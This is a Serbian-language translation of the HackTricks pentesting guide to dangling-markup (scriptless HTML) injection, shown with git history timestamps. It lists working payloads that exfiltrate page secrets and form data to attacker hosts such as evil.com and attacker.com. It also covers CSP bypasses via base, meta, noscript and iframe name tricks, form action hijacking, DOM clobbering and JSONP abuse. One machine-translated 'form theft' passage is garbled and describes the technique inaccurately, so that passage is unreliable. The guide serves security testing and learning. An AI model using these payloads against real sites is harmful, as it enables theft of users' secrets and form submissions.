hacktricks/pentesting-web/dangling-markup-html-scriptless-injection/README.md

268 lines
15 KiB
Markdown
Raw Normal View History

2022-06-27 17:09:07 +00:00
# Dangling Markup - HTML scriptless injection
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-01-02 18:28:27 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 13:11:20 +00:00
## Rezime
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Ova tehnika se može koristiti za izvlačenje informacija od korisnika kada se pronađe **HTML ubacivanje**. Ovo je veoma korisno ako **ne možete pronaći način za iskorišćavanje** [**XSS** ](../xss-cross-site-scripting/), ali možete **ubaciti neke HTML tagove**.\
Takođe je korisno ako se neki **tajni podaci čuvaju u čistom tekstu** u HTML-u i želite ih **izvući** sa klijenta, ili ako želite da zavarate izvršavanje nekog skripta.
2024-02-10 13:11:20 +00:00
Nekoliko tehnika koje su ovde komentarisane mogu se koristiti za zaobilaženje nekih [**Content Security Policy**](../content-security-policy-csp-bypass/) pravila izvlačenjem informacija na neočekivane načine (html tagovi, CSS, http-meta tagovi, forme, base...).
2024-02-10 13:11:20 +00:00
## Glavne primene
2024-02-10 13:11:20 +00:00
### Krađa tajnih podataka u čistom tekstu
2024-02-10 13:11:20 +00:00
Ako ubacite `<img src='http://evil.com/log.cgi?` kada se stranica učita, žrtva će vam poslati sav kod između ubačenih `img` tagova i sledećeg navodnika unutar koda. Ako se neki tajni podatak nalazi u tom delu, ukradećete ga (isto možete uraditi koristeći dvostruki navodnik, pogledajte koji bi mogao biti interesantniji za upotrebu).
2024-02-10 13:11:20 +00:00
Ako je `img` tag zabranjen (na primer, zbog CSP-a), takođe možete koristiti `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`.
2024-02-05 20:00:40 +00:00
```html
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
```
2024-02-10 13:11:20 +00:00
Napomena da **Chrome blokira HTTP URL-ove** sa "<" ili "\n" u njima, pa možete pokušati sa drugim protokolima kao što je "ftp".
2024-02-10 13:11:20 +00:00
Takođe možete zloupotrebiti CSS `@import` (će poslati sav kod sve dok ne pronađe ";")
2024-02-05 20:00:40 +00:00
```html
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
```
2024-02-10 13:11:20 +00:00
Možete takođe koristiti **`<table`**:
2024-02-05 20:00:40 +00:00
```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```
2024-02-10 13:11:20 +00:00
Možete takođe umetnuti `<base` oznaku. Sve informacije će biti poslate sve dok se navodnik ne zatvori, ali zahteva neku interakciju korisnika (korisnik mora kliknuti na neki link, jer će oznaka base promeniti domen na koji link pokazuje):
2024-02-05 20:00:40 +00:00
```html
<base target=' <--- Injected
steal me'<b>test</b>
```
2024-02-10 13:11:20 +00:00
### Krađa formi
Dangling Markup (HTML) Scriptless Injection (DMSI) je tehnika koja omogućava krađu podataka iz formi na web stranicama. Ova tehnika se koristi kada je web stranica podložna DMSI napadima.
DMSI napad se izvodi ubacivanjem zlonamernog koda u HTML kod web stranice. Ovaj kod se obično ubacuje u komentare, skrivene elemente ili neaktivne delove stranice. Kada korisnik popuni formu na web stranici, zlonamerni kod se aktivira i podaci iz forme se šalju napadaču.
2024-02-10 13:11:20 +00:00
Da biste izveli DMSI napad, prvo morate identifikovati ciljanu web stranicu koja je podložna ovom napadu. Zatim, proučite HTML kod stranice kako biste pronašli potencijalne tačke za ubacivanje zlonamernog koda.
2024-02-10 13:11:20 +00:00
Nakon što pronađete odgovarajuće mesto za ubacivanje koda, možete koristiti različite tehnike za krađu podataka iz forme. Na primer, možete koristiti JavaScript za presretanje i slanje podataka na udaljeni server ili možete koristiti CSRF (Cross-Site Request Forgery) napad kako biste prevarili korisnika da samostalno pošalje podatke.
Važno je napomenuti da je DMSI napad ilegalan i da se ne sme koristiti bez pristanka vlasnika web stranice. Ova tehnika se često koristi u etičkom hakovanju kako bi se identifikovali propusti u bezbednosti i pomoglo u njihovom otklanjanju.
2024-02-05 20:00:40 +00:00
```html
<base href='http://evil.com/'>
```
2024-02-10 13:11:20 +00:00
Zatim, obrasci koji šalju podatke na putanju (poput `<form action='update_profile.php'>`) će slati podatke na zlonamernu domenu.
2024-02-10 13:11:20 +00:00
### Krađa obrazaca 2
2024-02-10 13:11:20 +00:00
Postavite zaglavlje obrasca: `<form action='http://evil.com/log_steal'>` ovo će prebrisati sledeće zaglavlje obrasca i svi podaci iz obrasca će biti poslati napadaču.
2024-02-10 13:11:20 +00:00
### Krađa obrazaca 3
2024-02-10 13:11:20 +00:00
Dugme može promeniti URL na koji će biti poslati podaci obrasca pomoću atributa "formaction":
2024-02-05 20:00:40 +00:00
```html
<button name=xss type=submit formaction='https://google.com'>I get consumed!
```
2024-02-10 13:11:20 +00:00
Napadač može koristiti ovo da ukrade informacije.
2024-02-10 13:11:20 +00:00
### Krađa tajnih podataka u čistom tekstu 2
2024-02-10 13:11:20 +00:00
Koristeći poslednju pomenutu tehniku za krađu formi (ubacivanje nove zaglavlje forme), možete zatim ubaciti novo polje za unos:
2024-02-05 20:00:40 +00:00
```html
<input type='hidden' name='review_body' value="
```
2024-02-10 13:11:20 +00:00
i ovo polje za unos će sadržavati sav sadržaj između dvostrukih navodnika i sledećih dvostrukih navodnika u HTML-u. Ovaj napad kombinuje "_**Krađu tajnih podataka u čistom tekstu**_" sa "_**Krađom formi2**_".
2024-02-10 13:11:20 +00:00
Možete uraditi istu stvar ubacivanjem forme i `<option>` oznake. Svi podaci do zatvorene `</option>` oznake će biti poslati:
2024-02-05 20:00:40 +00:00
```html
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
```
2024-02-10 13:11:20 +00:00
### Ubacivanje parametra u formu
2024-02-10 13:11:20 +00:00
Možete promeniti putanju forme i uneti nove vrednosti kako bi se izvršila neočekivana radnja:
2024-02-05 20:00:40 +00:00
```html
<form action='/change_settings.php'>
2024-02-10 13:11:20 +00:00
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
```
2024-02-10 13:11:20 +00:00
### Krađa tajnih podataka u čistom tekstu putem noscript
2024-02-10 13:11:20 +00:00
`<noscript></noscript>` je oznaka čiji će se sadržaj interpretirati ako pregledač ne podržava JavaScript (možete omogućiti/onemogućiti JavaScript u Chrome-u na [chrome://settings/content/javascript](chrome://settings/content/javascript)).
2024-02-10 13:11:20 +00:00
Način da se izvrši eksfiltracija sadržaja web stranice od tačke ubacivanja do dna, ka sajtu pod kontrolom napadača, je ubacivanje sledećeg koda:
2024-02-05 20:00:40 +00:00
```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
2024-02-10 13:11:20 +00:00
### Bypassiranje CSP-a sa korisničkom interakcijom
2024-02-10 13:11:20 +00:00
Iz ovog [portswiggers istraživanja](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) možete naučiti da čak i u **najstrože ograničenim CSP okruženjima** još uvek možete **izfiltrirati podatke** uz malo **korisničke interakcije**. U ovom slučaju ćemo koristiti payload:
2024-02-05 20:00:40 +00:00
```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
2024-02-10 13:11:20 +00:00
Napomena da ćete **žrtvu** zamoliti da **klikne na link** koji će je **preusmeriti** na **payload** koji kontrolišete. Takođe, napomenite da će **`target`** atribut unutar **`base`** taga sadržati **HTML sadržaj** do sledećeg jednostrukog navodnika.\
To će rezultirati da je **vrednost** **`window.name`** ako se klikne na link će biti sav taj **HTML sadržaj**. Stoga, pošto **kontrolišete stranicu** na koju žrtva pristupa klikom na link, možete pristupiti tom **`window.name`** i **ekstraktovati** te podatke:
2024-02-05 20:00:40 +00:00
```html
<script>
if(window.name) {
2024-02-10 13:11:20 +00:00
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```
2024-02-10 13:11:20 +00:00
### Zavaravajući tok skripte 1 - Napad na HTML namespace
2024-02-10 13:11:20 +00:00
Ubacite novu oznaku sa id-om unutar HTML-a koja će prebrisati sledeću oznaku i sa vrednošću koja će uticati na tok skripte. U ovom primeru birate sa kim će se informacija deliti:
2024-02-05 20:00:40 +00:00
```html
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
2024-02-10 13:11:20 +00:00
...
request.share_with = document.getElementById('share_with').value;
...
}
```
2024-02-10 13:11:20 +00:00
### Zavaravajući tok skripte 2 - Napad na imenik skripte
2024-02-10 13:11:20 +00:00
Kreirajte promenljive unutar JavaScript imenika umetanjem HTML oznaka. Zatim će ova promenljiva uticati na tok aplikacije:
2024-02-05 20:00:40 +00:00
```html
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
2024-02-10 13:11:20 +00:00
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
2024-02-10 13:11:20 +00:00
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
```
2024-02-10 13:11:20 +00:00
### Zloupotreba JSONP-a
2024-02-10 13:11:20 +00:00
Ako pronađete JSONP interfejs, možete pozvati proizvoljnu funkciju sa proizvoljnim podacima:
2024-02-05 20:00:40 +00:00
```html
<script src='/editor/sharing.js'>: Legitimate script
2024-02-10 13:11:20 +00:00
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: Injected JSONP call
2024-02-10 13:11:20 +00:00
set_sharing({ ... })
```
2024-02-10 13:11:20 +00:00
Ili čak možete pokušati izvršiti neki JavaScript:
2024-02-05 20:00:40 +00:00
```html
<script src='/search?q=a&call=alert(1)'></script>
```
2024-02-10 13:11:20 +00:00
### Zloupotreba iframe-a
2024-02-10 13:11:20 +00:00
Dete dokument poseduje mogućnost pregledanja i izmene svojstva `location` svojih roditelja, čak i u situacijama prelaska preko granica izvora. Ovo omogućava ugrađivanje skripte unutar **iframe-a** koja može preusmeriti klijenta na proizvoljnu stranicu:
2024-02-05 20:00:40 +00:00
```html
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
```
2024-02-10 13:11:20 +00:00
Ovo se može ublažiti sa nečim poput: `sandbox=' allow-scripts allow-top-navigation'`
2024-02-10 13:11:20 +00:00
Isto tako, iframe može biti zloupotrebljen kako bi se procurele osetljive informacije sa druge stranice **koristeći atribut imena iframe-a**. To je zato što možete kreirati iframe koji iframe-uje sam sebe zloupotrebom HTML ubacivanja koje čini da **osetljive informacije izgledaju unutar atributa imena iframe-a**, a zatim pristupiti tom imenu iz početnog iframe-a i procureti ga.
2022-07-04 10:37:21 +00:00
```html
<script>
2024-02-10 13:11:20 +00:00
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
2022-07-04 10:37:21 +00:00
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
```
2024-02-10 13:11:20 +00:00
Za više informacija pogledajte [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
2022-07-04 10:37:21 +00:00
2024-02-10 13:11:20 +00:00
### \<meta zloupotreba
2024-02-10 13:11:20 +00:00
Možete koristiti **`meta http-equiv`** da izvršite **nekoliko radnji** kao što je postavljanje kolačića: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` ili izvršavanje preusmeravanja (u ovom slučaju za 5s): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
2024-02-10 13:11:20 +00:00
Ovo se može **izbeći** sa **CSP** u vezi sa **http-equiv** (`Content-Security-Policy: default-src 'self';`, ili `Content-Security-Policy: http-equiv 'self';`)
2024-02-10 13:11:20 +00:00
### Novi \<portal HTML tag
2024-02-10 13:11:20 +00:00
Možete pronaći vrlo **interesantno istraživanje** o iskorišćivim ranjivostima \<portal> oznake [ovde](https://research.securitum.com/security-analysis-of-portal-element/).\
Trenutno je potrebno omogućiti portal oznaku u Chrome-u na `chrome://flags/#enable-portals` ili neće raditi.
2024-02-05 20:00:40 +00:00
```html
<portal src='https://attacker-server?
```
2024-02-10 13:11:20 +00:00
### HTML Curenje
2024-02-10 13:11:20 +00:00
Nisu sve metode curenja povezanosti u HTML-u korisne za Dangling Markup, ali ponekad mogu biti od pomoći. Provjerite ih ovdje: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
2024-02-10 13:11:20 +00:00
## SS-Curenje
2024-02-10 13:11:20 +00:00
Ovo je **kombinacija** između **dangling markup i XS-Curenja**. S jedne strane, ranjivost omogućava **ubrizgavanje HTML-a** (ali ne i JS-a) na stranicu **iste porijekla** kao i ona koju ćemo napadati. S druge strane, nećemo **izravno napasti** stranicu na koju možemo ubrizgati HTML, već **drugom stranicom**.
{% content-ref url="ss-leaks.md" %}
[ss-leaks.md](ss-leaks.md)
{% endcontent-ref %}
2024-02-10 13:11:20 +00:00
## XS-Pretraga/XS-Curenje
2022-04-05 22:03:49 +00:00
2024-02-10 13:11:20 +00:00
XS-Pretraga je usmjerena na **izvlačenje informacija preko granica porijekla** zloupotrebom **napada na bočni kanal**. Stoga, to je drugačija tehnika od Dangling Markup-a, međutim, neke od tehnika zloupotrebljavaju uključivanje HTML oznaka (s izvršenjem i bez izvršenja JS-a), poput [**CSS ubrizgavanja**](../xs-search.md#css-injection) ili [**Učitavanja slika na zahtjev**](../xs-search.md#image-lazy-loading)**.**
2022-04-05 22:03:49 +00:00
{% content-ref url="../xs-search.md" %}
[xs-search.md](../xs-search.md)
2022-04-05 22:03:49 +00:00
{% endcontent-ref %}
2024-02-10 13:11:20 +00:00
## Lista za otkrivanje Brute-Force napada
2021-06-27 21:56:13 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
2021-06-27 21:56:13 +00:00
2024-02-10 13:11:20 +00:00
## Reference
2024-02-05 20:00:40 +00:00
* [https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)
* [http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)
* [http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/](http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/)
* [https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-01-02 18:28:27 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite vidjeti **oglašavanje vaše kompanije u HackTricks-u** ili **preuzeti HackTricks u PDF formatu** Provjerite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podijelite svoje hakiranje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>